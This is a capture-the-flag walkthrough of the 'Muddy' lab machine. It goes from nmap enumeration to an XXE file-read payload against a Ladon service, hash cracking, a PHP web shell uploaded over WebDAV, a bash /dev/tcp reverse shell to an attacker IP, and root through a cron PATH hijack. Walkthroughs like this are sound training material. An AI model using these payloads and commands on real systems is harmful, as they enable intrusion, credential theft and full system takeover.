Muddy - OSPG
Summary of Result
Remote enumeration discloses a XML External Entity (XEE)
vulnerability of ladon
running on a higher port of a web application. Misusing XEE
to read a configuration file, which bears credentials of webdav
service. With the credentials, we can exploit authenticated WebDav file upload
to secure an initial access. We then escalate our privilege by leveraging path hijacking
vulnerability of a misconfigured crontab
.
Enumeration
Nmap
We will begin with a nmap
scan.
$ nmap --open -sV -A -p- -vv -n -Pn -oA nmap/services $IP
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkD
neyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I
2r
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
| 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
25/tcp open smtp syn-ack ttl 63 Exim smtpd
| smtp-commands: muddy Hello nmap.scanme.org [192.168.49.69], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to http://muddy.ugc/
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
443/tcp open tcpwrapped syn-ack ttl 63
808/tcp open ccproxy-http? syn-ack ttl 63
908/tcp open unknown syn-ack ttl 63
8888/tcp open http syn-ack ttl 63 WSGIServer 0.1 (Python 2.7.16)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: WSGIServer/0.1 Python/2.7.16
|_http-title: Ladon Service Catalog
- There are a few open services, the web application running on port 8888 is our concentration.
HTTP/8888
From the nmap
result, we notice that the server is employing Ladon Service Catalog
, we can obtain the same info with curl
.
curl -s http://muddy.ugc:8888/ 1 ⚙
...
<div class="catName">Ladon Service Catalog</div>
...
<div class="catGen">Powered by Ladon for Python</div>
</body>
</html>
Further enumeration reveals that muddy
is the only one service run by Ladon
. To access the service, we navigate to /muddy
directory.
$ curl -s http://muddy.ugc:8888/muddy | html2text 1 ⚙
muddy
skins: [One of: Default/Bluebox/Rounded]
Service Description:
None
Available Interfaces:
* xmlrpc [ url description ]
* jsonrpc10 [ url description ]
* jsonwsp [ url description ]
* soapdocumentliteral [ url description ]
* soap11 [ url description ]
* soap [ url description ]
Methods:
* checkout ( string uid )
None
Paramters:
o uid: string
None
Returns: string
None
Types:
Powered by Ladon for Python
It’s worth taking note of the method checkout
and the service muddy
, since they might be useful later on.
XEE Ladon
With a few investigations, we discover that ladon
is vulnerable to XEE.
$ searchsploit ladon
------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------------
Ladon Framework for Python 0.9.40 - XML External Entity Exp | xml/webapps/43113.txt
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Using the exploit payload found in the above PoC, we modify:
- the method to
checkout
instead ofsayhello
. - the service to
muddy
instead ofHelloService
.
Let’s us try to read the /etc/passwd
file.
- The request might look as follows.
$ curl -s -X $'POST' \
> -H $'Content-Type: text/xml;charset=UTF-8' \
> -H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \
> --data-binary $'<?xml version="1.0"?>
quote> <!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
quote> <soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
quote> xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
quote> xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
quote> xmlns:urn=\"urn:muddy\"><soapenv:Header/>
quote> <soapenv:Body>
quote> <urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
quote> </urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
> 'http://muddy.ugc:8888/muddy/soap11' | xmllint --format -
The file:///etc/passwd
will be included in a response if our code successfully executes.
- Here is the response.
<SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<ns:checkoutResponse>
<result>Serial number:
[...]
ian:x:1000:1000::/home/ian:/bin/sh
[...]
</result>
</ns:checkoutResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Perfect! From the enumeration phase, we also recognized a webdav
service running on port 80.
$ ffuf -u http://muddy.ugc/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt
...
index.php [Status: 200, Size: 19195, Words: 860, Lines: 351]
javascript [Status: 301, Size: 321, Words: 20, Lines: 10]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10]
webdav [Status: 401, Size: 461, Words: 42, Lines: 15]
wp-admin [Status: 301, Size: 319, Words: 20, Lines: 10]
wp-content [Status: 301, Size: 321, Words: 20, Lines: 10]
wp-includes [Status: 301, Size: 322, Words: 20, Lines: 10]
xmlrpc.php [Status: 405, Size: 42, Words: 6, Lines: 1]
Now, we can try to read webdav
configuration file to retain the admin credentials.
With the XEE vulnerability we have spotted earlier, adjust the file from /etc/passwd
to /var/www/html/webdav/passwd.dav
.
Primarily, our command is completely similar but the payload.
$ curl -s -X $'POST' \
...
[<!ENTITY passwd SYSTEM "file:///var/www/html/webdav/passwd.dav">
...
<result>Serial number: administrant:$apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0</result>
...
The encrypted password can then be cracked with hashcat
.
$ hashcat -m 1600 -a 0 hash /usr/share/wordlists/rockyou.txt
[...]
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
$apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0:sleepless
The cracked credentials is administrant:sleepless
, which we abuse to bypass webdav
login prompt.
Exploitation
WebDav File Upload
To upload a malcious shell, we use curl
.
[1]. Upload a malicious .txt
file
$ cat cmback.txt
<?php system($_GET['1']; )?>
$ curl -u administrant:sleepless -T 'cmback.txt' 'http://muddy.ugc/webdav/'
...
<title>201 Created</title>
...
[2]. Move the .txt
extention to .php
extention.
$ curl -X MOVE --header 'Destination:http://muddy.ugc/webdav/cmback.php' 'http://muddy.ugc/webdav/cmback.txt' -u administrant:sleepless
...
<title>201 Created</title>
...
201 Created
code means both operations are successful. Next, we try to trigger the code.
$ curl -u administrant:sleepless -s http://muddy.ugc/webdav/cmback.php\?1=whoami 1 ⚙
www-data
and boom! → Remote Code Execution (RCE)!
Let’s us pull a bash
reverse shell.
bash -c \"bash -i >& /dev/tcp/192.168.49.227/80 0>&1\"
It’s always a good idea to URL-encode the payload.
bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.227%2F80+0%3E%261%22
The final command is:
$ curl -u administrant:sleepless -s http://muddy.ugc/webdav/cmback.php\?1=bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.227%2F80+0%3E%261%22
After executed, our nc
should catch the reverse shell at port 80 as www-data
.
$ nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.49.227] from (UNKNOWN) [192.168.227.161] 55638
bash: cannot set terminal process group (574): Inappropriate ioctl for device
bash: no job control in this shell
www-data@muddy:/var/www/html/webdav$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Crontab
Locally gather the target system divulges a vulnerable crontab
service.
www-data@muddy:/var/www/html$ cat /etc/crontab
SHELL=/bin/sh
PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
...
* * * * * root netstat -tlpn > /root/status && service apache2 status >> /root/status && service mysql status >> /root/status
The netstat ...
command is orderly defined in the PATH
environment.
It’s worth noticing that we have a full control over the /dev/shm
path, where cronjob will navigate to and execute its command.
At this point, we can inject a malicious netstat
shell, which then executes commands of our choices as root
.
www-data@muddy:~$ echo "chmod +s /bin/bash" > /dev/shm/netstat
www-data@muddy:~$ chmod 777 /dev/shm/netstat
After a minute, the /bin/bash
command is dressed up with a SUID bit, we then run
www-data@muddy:~$ bash -p
bash-5.0# whoami
root
and become root!